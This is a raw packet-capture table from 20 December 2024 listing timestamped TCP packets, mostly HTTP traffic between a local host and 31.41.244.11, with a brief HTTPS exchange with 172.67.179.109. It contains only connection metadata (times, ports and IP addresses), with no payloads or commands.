Dec 20, 2024 02:11:32.017015934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.017067909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.017085075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.017112017 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.017709970 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.017792940 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.017812014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.018008947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.018385887 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.018460035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.018506050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.019135952 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.019190073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.019200087 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.019392014 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.019783020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.019840002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.019895077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.019939899 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.020490885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.020538092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.020606995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.021182060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.021234035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.021270037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.021315098 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.021908998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.022110939 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.022152901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.022582054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.022715092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.022767067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.023272038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.023330927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.023427963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.023480892 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.023958921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.024008036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.024072886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.024115086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.024650097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.024768114 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.024821043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.025377035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.025489092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.025502920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.025803089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.026051044 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.026104927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.026155949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.026211977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.026746035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.026793957 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.026859045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.026901007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.027460098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.027513027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.027621984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.028192997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.028198004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.028232098 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.028265953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.028316021 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.028844118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.028886080 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.028959036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.028997898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.029562950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.029606104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.029680014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.029721022 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.030240059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.030281067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.030334949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.030381918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.030963898 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.031021118 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.031028986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.031068087 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.031630039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.031678915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.031759024 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.031800032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.032331944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.032380104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.032459021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.032505989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.033025980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.033077955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.033107996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.033152103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.089342117 CET	443	49891	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:32.089628935 CET	443	49891	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:32.089715004 CET	49891	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:32.089909077 CET	49891	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:32.089953899 CET	443	49891	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:32.189671993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.189843893 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.189857960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.189887047 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.190009117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.190048933 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.190162897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.190198898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.190737963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.190773964 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.190969944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.191004992 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.191395044 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.191430092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.191493988 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.191528082 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.192092896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.192128897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.192229986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.192265034 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.192790031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.192826033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.192862988 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.192909956 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.193486929 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.193522930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.193550110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.193586111 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.194179058 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.194274902 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.194313049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.194879055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.194919109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.194977045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.195018053 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.195589066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.195628881 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.195708990 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.195744991 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.196264982 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.196296930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.196374893 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.196408987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.196958065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.196993113 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.197052956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.197086096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.197673082 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.197710037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.197756052 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.197796106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.198386908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.198468924 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.198513985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.199045897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.199084997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.199158907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.199193001 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.199759960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.199795008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.199862003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.199896097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.200695992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.200736046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.200809956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.200845003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.201169968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.201205969 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.201252937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.201286077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.201932907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.202048063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.202081919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.202548981 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.202583075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.202658892 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.202694893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.203249931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.203285933 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.203363895 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.203398943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.203980923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.204021931 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.204092026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.204132080 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.204641104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.204674959 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.204761982 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.204796076 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.205348015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.205391884 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.205447912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.205486059 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.206043959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.206187010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.206224918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.206758022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.206799030 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.206832886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.206873894 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.207413912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.207449913 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.207571983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.207607985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.208134890 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.208172083 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.208252907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.208288908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.208889008 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.208926916 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.209028959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.209068060 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.209544897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.209583044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.209866047 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.210232019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.210269928 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.210369110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.210406065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.210925102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.211030960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.211038113 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.211069107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.211630106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.211668968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.211730957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.211771011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.212311029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.212347984 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.212413073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.212446928 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.213022947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.213059902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.213121891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.213156939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.213716984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.213762045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.213810921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.214406967 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.214452982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.214500904 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.214538097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.215100050 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.215143919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.215218067 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.215255022 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.215825081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.215871096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.215908051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.215966940 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.216495991 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.216602087 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.216645956 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.217217922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.217261076 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.217327118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.217365980 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.217890024 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.217928886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.217993021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.218028069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.218615055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.218656063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.218688965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.218724012 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.219295025 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.219405890 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.219435930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.219454050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.220062017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.220185041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.220231056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.220686913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.220731020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.220870972 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.220905066 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.221390009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.221426010 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.221524000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.221559048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.222101927 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.222178936 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.222218037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.222768068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.222805023 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.222872972 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.222908020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.223467112 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.223506927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.223566055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.223599911 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.224210978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.224244118 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.224277973 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.224313021 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.224946022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.224980116 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.225116014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.225150108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.225579977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.225613117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.225672960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.225707054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.226208925 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.226938963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.381994009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.382055998 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.382121086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.382174969 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.382251024 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.382304907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.382388115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.382432938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.382967949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.383030891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.383038998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.383085012 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.383681059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.383774996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.383865118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.383913994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.384373903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.384423971 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.384459972 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.384504080 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.385078907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.385133982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.385183096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.385344982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.385757923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.385843039 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.385859013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.385901928 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.386467934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.386531115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.386588097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.386656046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.387226105 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.387286901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.387362957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.387520075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.387856007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.388012886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.388065100 CET	49875	80	192.168.2.5	31.41.244.11
